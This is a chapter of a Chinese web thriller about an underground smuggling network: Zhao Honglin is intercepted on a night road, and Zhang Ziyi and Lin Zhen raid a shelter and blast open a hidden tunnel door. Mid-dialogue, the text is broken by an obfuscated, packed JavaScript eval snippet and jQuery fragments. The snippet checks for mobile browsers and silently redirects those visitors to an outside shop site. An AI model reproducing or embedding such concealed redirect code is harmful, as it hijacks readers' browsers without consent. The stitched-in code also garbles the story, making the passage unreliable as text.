赵弘霖接到消息的时候,正坐在勐贡南边那间据点的椅上。
手机屏幕亮着,消息只有一行字:“有人摸到防空洞方向了。坐标偏移四十公里以内,具体位置未知。”
他把手机翻扣在桌面上,盯着对面那面斑驳的墙面看了几秒,然后站起身。
“把北边那个点所有的电子设备清干净。电脑主机拆了,硬盘带走。”他对门口守着的人说,“纸质材料全部销毁,用碎纸机,别用火烧。”
门口那人愣了一下:“纸质材料量不小,碎纸机只有两台……”
“那就两台同时开。”赵弘霖已经拿起搭在椅背上的外套,语气没有丝毫商量的余地,“天黑之前,我要那个地方连一张带字的纸屑都找不出来。”
那人领命去了。赵弘霖站在屋子中央,单手把外套拉链拉到顶,低头看了一眼手机。没有新消息。
张明宗那边太安静了。
他知道这意味着什么。张明宗已经不再向他同步任何信息了。从那条岔路口分开之后,他们之间那条线就被他亲手掐断了。
赵弘霖把手机揣进口袋,弯腰从床底拖出一只黑色长包,拉链拉开,里面是一把组装好的短管步枪。他检查了弹匣,把枪背在肩上,走到门口时脚步顿了一下。
他想起张明宗那句“你留下来,能替我压调度,也能替我挡子弹。可挡完子弹之后呢?”
他当时没有回答。因为他心里清楚,挡完子弹之后,他还会继续站在张明宗前面。哪怕前面是悬崖,他也会先一步踏空,让张明宗有时间转身。
他跨出门,上了那辆黑色越野车。
赵弘霖把油门踩到底。他脑子里只有一个念头:防空洞绝不能丢。那是张明宗系统里最后一片能藏人的实体据点,一旦被端,那套自更新机制就算还在跑,也等于断了腿的怪物。
可他刚开出不到十公里,前方路面骤然亮起三排车灯,齐刷刷地横在岔路口,把去路堵死。赵弘霖一脚急刹,方向盘猛打,车尾在碎石路面上甩出一道弧线,还没等他挂上倒挡,后视镜里已经映出两辆从侧翼包抄上来的越野,逼得他无路可退。
他推开车门跳下来,右手按在后腰枪柄上,眯着眼看向前方那排车灯最中间那辆。驾驶座门被推开,林桢从里面出来,外套拉链拉到顶,夜风把他额前的碎发吹乱了几分,他步速不快不慢,最后在距离赵弘霖五步远的位置站定。
“赵弘霖。”林桢开口,“我不是来抓你的。”
赵弘霖的嘴角扯了一下:“那你大半夜拦我的路做什么?”
“我来告诉你一件事。”林桢把双手插进外套兜里,姿态松弛,“张明宗把你支开,你自己心里比谁都清楚。他不让你挡在前面,不是因为你帮不上忙,是因为他打定主意要自己走完最后一段。”
赵弘霖的手按在枪柄上,没有抽出来,但手指已经收紧了。
林桢看着他,继续道:“你比谁都清楚,他会死在军方手里。你这么聪明,不可能想不明白,他选那条路的时候就已经把结局算好了。你赶过去又能怎么样?”
夜风灌进岔路口,把两个人衣摆吹得猎猎作响。赵弘霖站在越野车旁边,被那几句话钉在原地。
“信不信由你。”林桢说完这句话,偏头看了一眼远处黑沉沉的天际线,“防空洞已经被端了一处。你现在就算赶过去也没有用,你们背后的人保不了你们了。”
“你说什么?”赵弘霖的声音骤然绷紧。
“你背后那位军方高层,今天下午已经被人盯上了。”林桢的目光重新落回他脸上,“觉辛将军亲自调了人去防空洞。你们那位‘保人’现在连自己的通讯线都不敢接。你就算到了防空洞,也等不来任何支援。”
赵弘霖的手指在枪柄上猛地攥紧又松开,那双眼睛里第一次浮出一种近乎空白的茫然。他站在越野车旁,后背抵着冰冷的车门。
林桢站在原地看了一会儿,转身拉开车门坐进去。那三排车灯依次调头,沿着来路驶离岔路口,最终消失在夜色深处。
赵弘霖独自站在空旷的土路上,后腰靠在车门边,垂着眼。
他想起很多年前,在张家主宅东厢那间书房里,张明宗把电脑屏幕转过来对他说“你想看吗”时的样子。那会儿他以为自己是站在一个值得追随的人身边,以为凭他军校里学来的那些本事,能帮张明宗把那套系统从雏形织成一张真正的网。他从没想过,有一天网会收得这么紧,紧到织网的人自己要先一步走进去。
手机在口袋里震起来,他摸出来看了一眼屏幕上的号码。他按下接听键,把手机贴在耳边。
对面没有寒暄,直接甩过来一句话:“防空洞的事我听到了。你们做事之前怎么不报备?张明宗那条线一旦被翻出来,不是他一个人的事,你比我清楚。”
赵弘霖攥着手机,沉默了两三秒才开口:“您放心,防空洞那边我提前清过资料。剩下的那几处防空洞据点我会亲自盯着,系统那边我也有权限。”
“张明宗死了就死了。”电话那头的声音冷下来,“但剩下的防空洞和那套系统,你必须保住。那套东西要是落到觉辛手里,咱们谁也跑不掉。”
赵弘霖垂下眼,“我知道。”
“你知道就好。”对面挂断了。
赵弘霖把手机从耳边拿下来,然后他弯腰坐进驾驶室,关上车门。
他靠在座椅里,盯着前方被车灯照亮的土路,轻轻闭了一下眼。他之所以应得这么干脆,是因为他清楚,现在能做的不多了。保住系统,保住剩下的防空洞,这是他唯一还能替张明宗做的最后一件事。
·
防空洞里那股混着灰尘和铁锈的气味,在张姿宁带人冲进去的一瞬间被彻底搅散了。
军方的人从正门、侧门同时涌入,枪口压得低,步速快而稳。
防空洞内部的灯光还亮着几盏,白炽灯管在头顶噼啪闪了几下,照出底下七八个穿白衬衫的身影。他们有人正弯腰把一沓纸塞进碎纸机,有人抱着主机箱往外跑,被堵在门口时整个人定住了,手里的机箱砸在地上。
“别动!所有人手离开能摸到的东西!”带队的人声音压得极稳。
那几个人瞬间停止反抗,他们显然被提前叮嘱过,一旦被发现就放弃抵抗。
张姿宁从正门走进来,靴子踩在水泥地面上,每一步都让空荡的室内响起清晰的回音。她扫过那几台还在运转的碎纸机。
“关掉。”她说。
有人上前按停了碎纸机。张姿宁走到机器旁边,捡起地上那半张被遗漏的纸页。足够看出是一份运输节点表。张姿宁把那半页纸捏在手心里,转头扫了一眼防空洞里那几个被摁住的白衬衫。
军方的人正在把他们挨个搜身,有人从其中一个腰后摸出一部加密手机,有人从另一个人口袋里翻出一张折得皱巴巴的货运单。
碎纸机里还有没来得及粉碎的纸屑,张姿宁蹲下去,从机器底部拈出一小片残纸,上面写着“勐贡北三号”,后面跟着一串编号。
她站起来,把那些碎片摊在最近的一张桌子上,拼出大概的轮廓。那是一张运输路线图,但标号模糊,终点位置被截断了。
防空洞入口传来脚步声,觉辛从通道那头走进来。他在门口停了一步,环顾了一圈这片半地下的空间,然后目光落回张姿宁身上,嘴角微微扬了一下。
“真让你找到了。”他说,语气里听不出多少意外,但带着一丝压不住的慨叹,“你这丫头,比我预想的厉害。”
张姿宁把那张拼好的纸页往桌面上推了推:“只能找到这些,还没找到那个运人隧道。”她偏头看了一眼那些被控制住的白衬衫,“他们不知道隧道在哪。”
觉辛走过去,低头看了一眼桌面上的纸片,沉默片刻后说:“我的人已经去支援张家那边的据点了,按时间算,应该已经接上了。”他说完抬头看向张姿宁,“但隧道的事,还得靠你自己。我只能给你压住外围。”
张姿宁点了点头,没有多说什么感谢的话,这个人做事有他自己的节奏和考量,她清楚,现在最重要的是在时间耗尽之前找到那条隧道。
现在还剩不到四个小时。
这时,正门方向又传来一阵脚步声,带着一种她熟悉的速度感。张姿宁偏过头,看见林桢从通道入口走进来,外套拉链敞着,像是刚从另一处赶过来。
他走到她面前,先是自上而下扫了她一遍,确认她没有受伤,才开口:“这边什么情况?”
“硬盘全被提前清走了,电脑只剩壳子。碎纸机残留了一些碎片,够还原一部分,但不足以直接锁定暗道位置。”
林桢沉默了片刻,说:“我刚刚去见了一个人。”
张姿宁抬眼看他,等下文。
“赵弘霖。”林桢说,“我拦住了他来勐贡北的路。我们没动手,我只告诉他,他背后那位军方高层今天下午已经被人盯上了,防空洞被端了一处。”
张姿宁的眉头微微动了一下:“他信了?”
“信不信不重要。”林桢说,“重要的是他没有赶过来。如果赵弘霖不在,张明宗那边就少了唯一一个能替他压住调度漏洞的人。”
张姿宁垂下眼,把这句信息在脑子里过了一遍。赵弘霖不来,张明宗会把所有重心压在最后那条暗道上。他身边越空,那条隧道就越关键,也就越难找。
“赵弘霖走的时候什么反应?”
“没说话。”林桢的语气平淡,“他这个人,背叛张明宗是不可能的,但他也不会在张明宗已经退无可退的时候再冲上去。”
张姿宁继续问:“其余几条隧道呢?你那边的人有没有新进展?”
“靠近不了。”林桢的声音沉下去几分,“赵弘霖虽然人没来,但他手底下那批军方私兵还在那些隧道出入口。我的人只要推进到一公里以内,就会被军用频段的信号拦截,连侦察都做不了。”
“但是防空洞这事我爸已经知道了。”林桢忽然补了一句
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17782801|207014||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
,“他那边应该要有行动了。”
张姿宁抬眼看他,“你爸?”
“嗯。”林桢的眉头微动,“他准备把这事捅上去,他会带军方的人去。”
张姿宁听着却没多说什么。她站在防空洞中央,看着军方的人把白衬衫的人一个一个押走,碎纸机被拆开,硬盘被装进证物袋。
她明明端了张明宗一个据点,但反而感觉更空了。因为她什么也没找到。她蹲下身,把碎纸机底部散落的纸屑捡起来铺平在桌面上,试图拼出完整的信息。
“大小姐。”阿音的声音从耳机那头传过来,“张明宗那套系统一直没动静。从他带你妹妹离开那栋老宅之后,他再也没登录过。”
张姿宁:“一次也没有?”
“一次也没有。我这边摸到的全是系统自动运行的定时指令,没有任何人工操作痕迹。”阿音顿了一下,“他像是直接把钥匙扔了,不打算再碰那扇门了。”
张姿宁缓缓直起身。张明宗不再登录,就说明他已经把自己从那张网上彻底摘了出去。他现在只靠最后的备用通道在走。
她偏过头,目光从防空洞的水泥墙壁上一寸一寸地滑过,她在重新打量这间已经被翻了一遍的屋子。军方的人已经把所有能搬的东西都搬走了。
“你在看什么?”林桢走到她身侧,顺着她的目光望向那面墙。
“我在想,这里是防空洞。”张姿宁的声音不高,“防空洞不会只有一个出口。她进来的时候经过了隧道,说明这个防空洞的定位本身就是某个运输节点的中转站。它不可能只有一个主通道。”
她说完便迈开步子,沿着防空洞的内墙走了一圈。她的手贴在泛白的墙面上,指尖感受着墙面的温度和质感。走到东北角的时候,她的脚步忽然停住了。
那片墙面被一排废弃的服务器机柜挡着,机柜表面落了一层薄灰。林桢的目光也顺着她的视线看了过去。
“林桢。”她喊他。
林桢注意到机柜底座与地面之间的缝隙里,有一道极细的磨损痕迹,像是被反复拖拽过后留下的。
他立马意识到这柜子有问题。他几步跨过来,和她一起握住机柜两侧的金属边缘。两个人同时发力,被从原位挪开了半尺。
机柜后面露出的墙体与周围的水泥墙颜色略有不同。林桢蹲下身,手指沿着那片墙面的边缘摸了一圈。在接近地面的位置,他摸到了一条几乎看不出来的接缝。
二人目光交汇,瞬间明白彼此眼里的意思。
林桢猛地站起来,抽出腰间的匕首,把刀尖插进那条接缝里,用力往下一撬。一声闷响,一层薄薄的水泥板被撬开,露出底下冰冷的钢板。
是一扇嵌入地面的钢板门。边缘嵌着一块小型的密码面板,面板上的指示灯正发着微弱的绿光,说明它还在通电运行。
“他们不知道密码。”林桢已经转头看了一眼被控制住的白衬衫,“能试密码的人都不在这个防空洞里。”
张姿宁站在钢板门旁边,盯着那块密码面板看了几秒,然后偏头问了一句:“有没有炸药?”
林桢语气出奇平静:“车上有一小包□□,够炸开一道门。你需要的话,我现在去拿。”
张姿宁抬起眼看他,两个人隔着那扇暗门交换了一个眼神。林桢会意已经转身大步往防空洞出口方向去了。
张姿宁的嘴角轻轻弯了一下。她喜欢的正是他这一点。这个男人永远不在她犹豫的时候替她做决定,但总在她做出决定的下一秒,就已经去执行了。
不到五分钟,林桢拎着一只小型防水包回来了。他蹲下身,动作利落。他把最后一段引线接好,然后站起身往后退了几步,站到张姿宁身侧。
“退远一点。”
两个人退到防空洞正中央那根承重柱后面。林桢按下引爆器。
一声闷雷般的爆响在封闭的空间里炸开,震得头顶白炽灯管剧烈晃动,几粒灰从天花板簌簌落下来。
钢板门被炸得向内塌陷,露出门后一条幽深的隧道入口。一股夹杂着泥土和陈旧空气的气流从门洞里涌出来,带着潮湿和冷意。
张姿宁从柱后走出来,走到暗门旁边,低头看向那个塌陷的洞口。隧道朝下倾斜,宽度大约能容五个人通过,内部没有灯光,地面上两道平行的细槽。那是轮轨的痕迹。
“这是一条运输通道。”她低声说。
林桢蹲在她身侧,手电光同样照进洞口深处,“这种倾斜度和轮轨间距,走的不是货车,是轨道车。”他停了一下,“这条路……能通到哪?”
张姿宁望着那片深不见底的黑暗,低头看了一眼手表,还剩两个小时。
“不知道。”她抬脚就准备往里走。
“你打算现在进去?”林桢拉住她。
张姿宁抬眼迎上他的视线。她管不了这条隧道通向哪里,也不清楚张明宗在暗道的另一头给她准备了什么。她只知道时间不多了。
“嗯。”她道。